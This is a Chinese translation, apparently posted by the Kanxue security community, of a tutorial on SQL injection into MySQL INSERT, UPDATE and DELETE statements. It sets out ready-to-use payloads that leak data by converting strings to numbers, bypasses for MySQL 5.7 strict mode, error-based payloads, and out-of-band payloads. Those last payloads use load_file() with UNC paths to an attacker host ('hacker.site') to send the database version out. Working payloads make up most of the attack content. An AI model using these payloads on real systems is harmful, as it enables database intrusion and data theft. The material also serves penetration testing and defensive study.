查看原文
其他

MySQL Out-of-Band 注入攻击

2017-03-15 ghostway 看雪学院

→ 综述

INSERT 和 UPDATE 传统的 in-band(带内)注入方式是修改查询语句。举个栗子,一条INSERT语句可以通过修改查询语句内容,注释掉不要用到的,提交,从返回的数据中提取有用的信息,UPDATE 语句的操作也是类似的,但是只适用于多列的情况。假如我们面临的 UPDATE 或 INSERT 只是单列的情况或者我们不知道准确的查询语句或者 mysql_error() 没有显示错误信息呢?

我们看如下的情况,如何注入?为了简单的目的,以下语句并没有太复杂:

最近我一直在研究这种情况下 in-band 和 out-of-band 的利用方法。

为了理解我所描述的,我们先看 MySQL 如何处理字符串。简单地说,MySQL 中一个字符串等于 '0' 。如下:

假如我们给一个字符串+数字呢?应该是等于0+数字。

这个动态特性,让我想到了很多。但是,我们先进一步研究下 data type。
假如我们给一个字符串加一个 MySQL 中支持的最大值,比如 BIGINT 类型的,会如何呢?

值是‘1.8446744073709552e19’ 意味着,最终字符串返回的是一个 8 字节的 DOUBLE类型数据。继续验证:

经过验证,我们知道 string 返回的值就是一个 DOUBLE 数字。给一个 larger 值+一个 DOUBLE 数字,将返回一个 IEEE 标准的 DOUBLE 精度数字。为了克服这个问题,我们只需要进行按位或操作。

完美,我们获得了最大的 64-bit 的 BITINT 值是 0xffffffffffffffff 。现在,我们可以确定,通过按位或操作,我们可以获得精确的数值,且该值一定小于 BIGINT,因为我们不可能超过 64-bit 大小。


→ String->数字转换

假如我们使用数字来传递数据,然后再回显的时候再将数字转换回来,会如何?从这个出发点,我想出了这个方案。首先,我们将 String 转换为 hex 值,下一步,将hex值转换为数字。

解密的时候,我们做逆操作。

但是,请注意,我上文提到过的一点。MySQL中最大的数字的类型是BITINT,我们不能超过这个范围。因此一个字符串的最大长度是8个字节。如下:

注意‘4702111234474983745’可以解密回‘4702111234474983745’,但是如果我们再加一个‘A’,我们将无法获得正确的数字,将产生一个无符号的BIGINT值0xffffffffffffffff

由于这个限制,我们必须将一个字符串分割成8个字节的单独字符串。我们可以使用 substr() 函数。

select conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)), 16, 10);(n从1开始)

例如,对于 user() 返回的字符串,按 8 个字节为单位裁剪,依次处理,直至为空。

最后,我们解码我们获得的结果:


→ 注入

  • 提取表名

以下语法用来从 information_schema 数据库中提取表名:

select conv(hex(substr((select table_name from information_schema.tables where
table_schema=schema() limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

  • 提取列名

以下语法用来从 information_schema 数据库中提取列名:

select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

  • update 语句

现在我们可以将之前学到的用起来。如下是一个使用这种方式的 update 语句的例子:

update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10)
where id='16';

对于之前提到的例子,我们可以这样注入:

name=test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16, 10) where id=16;%00&id=16

最终的语句将会变成这样:

update users set username = 'test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16,
10) where id=16;%00' where id = '16';

这个是我开发的一个测试程序的截图:


  • Insert 语句

我们假设一个 insert 语句如下:

insert into users values (17,'james', 'bond');

和update语句一样,你可以这样利用:

insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n‐1) * 8, 8
* n)),16, 10);

当然在这个例子中,你可以修改该语句,然后注入,但是就像之前提到的情况,如果该insert语句只有一列,那么这个方法将非常有用。


→ MySQL 5.7 中 的限制

你可能注意到了,该方法在MySQL5.7.5之后的版本中无效了。

mysql> update users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐
1) * 8, 8 * 1)),16, 10) where id=14;
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'osanda'

在MySQL5.7版本上研究发现,MySQL服务器默认运行在 Strict SQL 模式下。MySQL 5.7.5,默认的 sql_mode 包含标志 STRICT_TRANS_TABLES 。

SELECT @@GLOBAL.sql_mode;
SELECT @@SESSION.sql_mode;

在 MySQL5.7 的 Strict SQL 模式下,你不能利用这个从整数到字符串转换的技巧,因为原始的列的数据类型是’varchar’。Strict 模式用以控制MySQL怎样处理比如INSERT或UPDATE语句中遇到无效的或者丢失的数据类型转换语句。如果数据类型错误,则抛出一个异常。

为了克服这个,你必须在注入的时候总是使用一个整数。如下,这个查询是OK的。

mysql> update users set username = '0' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 *
1)),16, 10) where id=14;
Query OK, 1 row affected (0.08 sec)
Rows matched: 1 Changed: 1 Warnings: 0

除此之外,你可以在运行的时候关闭Strict模式。 SESSION 变量任意用户在他自身的会话中都都可以修改。

SET sql_mode = '';
SET SESSION sql_mode = '';

设置 GLOBAL 变量需要 SUPER 权限,同时影响所有当前连接的客户端的行为。

SET GLOBAL sql_mode = '';

要做一个持久的方案,你需要在MySQL Server启动的时候指定参数 sql_mode 为空。

mysqld.exe ‐‐sql‐mode=

你也可以给你的配置文件‘my.cnf’中添加如下选项:

sql‐mode=

为了观察到默认选项的加载顺序和配置文件的路径,可以如下操作:

mysqld.exe ‐‐help ‐‐verbose

你可以创建一个文件‘myfile.ini’,然后指定该文件是MySQL的默认配置文件:

mysqld.exe ‐‐defaults‐file=myfile.ini11配置内容如下:
[mysqld]
sql‐mode= 

如果一个开发人员使用了 IGNORE 关键字,则 Strict 模式 被忽略。我们可以在Strict模式下使用比如 INSERT IGNORE 或者 UPDATE IGNORE 关键字。如下:

mysql> update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐1)
* 8, 8 * 1)),16, 10) where id=14;
Query OK, 1 row affected, 1 warning (0.30 sec)
Rows matched: 1 Changed: 1 Warnings: 1


→ 解码

提供一些不同语言的解码的方法:

SQL
select unhex(conv(value, 10, 16));
Python
dec = lambda x:("%x"%x).decode('hex')
Ruby
dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }
Ruby中也可以这样用:
dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }


→ 传统的常规方法

当存在多列情况的注入点时,你可以用如下常规注入方法:

  • Update 语句

假设依然是之前的问题,但是这次我们有两列。我们需要知道另一个列名:
UPDATE newsletter SET username = '$user', email = '$email' WHERE id = '$id';
如果应用程序回显了‘$emial’变量给我们,我们可以这样注入:

username=test',email = (select version()) where id = '16'‐‐ ‐&email=test

  • Insert 语句

如果我们使用query来做例子,像前一个例子,我们可以通过修改查询语句来注入。但是,需要提前知道value的个数。

INSERT INTO `database`.`users` (`id`,`user`,`pass`) VALUES ('$id','$user', '$pass');

如果应用程序回显了‘$user’变量给我们,我们可以这样注入:

id=16',(SELECT @@version), 'XXX');‐‐ ‐&user=test&pass=test


→ Error Based 的注入

我之前写过一篇关于Insert,Update和Delete语句注入的文章。你可以使用如Error Based 的注入例子。

Update语句

UPDATE users SET password = 'osanda'*multipoint((select*from(select
name_const(version(),1))x))*'' WHERE id='16' ;
UPDATE users SET password = 'osanda' WHERE id='16'*polygon((select*from(select
name_const(version(),1))x))*'' ;
Insert语句
INSERT INTO users VALUES (17,'james', 'bond'*polygon((select*from(select
name_const(version(),1))x))*'');13 | P a g e
Delete语句
DELETE FROM users WHERE id='17'*polygon((select*from(select
name_const(version(),1))x))*'';
将 ‘*’ 替换为: ||, or, |, and, &&, &, >>, <<, ^, xor, <=, <, <=>,>, >=, mul, /, div, ‐, +, %,
mod.


→ Out-of-Band(OOB) 注入

你可以查看我之前的研究,我详细描述过windows平台上,关于MySQL的OOB技术。同样的方法可以运用到’INSERT’,‘UPDATE’和’DELETE’语句中。

Update语句
UPDATE users SET username =
'osanda'<=>load_file(concat('\\\\',version(),'.hacker.siste\\a.txt')) WHERE id='15';
UPDATE users SET username = 'osanda' WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Insert语句
INSERT into users VALUES
(15,'james','bond'|load_file(concat('\\\\',version(),'.hacker.site\\a.txt')));
Delete语句
DELETE FROM users WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, <=, <, <=>,>, >=, *,mul, /, div, ‐, +, %,
mod.


→ 结论

在实际的场景中,一个漏洞通常并不是可以直接利用的。在SQL注入中取决于你利用这些技术来想出一个创建性的方案。
分析对应的情景,调整你的思路,找到正确的方法。

→ 感谢

特别感谢 Mukarram Khalid (@themakmaniac)测试了我的研究。

→ 引用
http://dev.mysql.com/doc/refman/5.7/en/

作者:Osanda

原文链接:http://t.cn/RJz9KA3
本文由 看雪翻译小组 ghostway 编译

声明:转载请保留文章的完整性,注明作者、译者及出处, 并附上本文链接。


 热 门 阅 读:



《走进企业看安全.易宝支付》第9站 开始报名!

C++编程的 42 条建议(六)完

安卓勒索软件的发展趋势(二)

安卓勒索软件的发展趋势(一)

在 Linux 上使用 AFL 对 Stagefright 进行模糊测试

......

更多优秀文章点击左下角“关注原文”查看!


看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存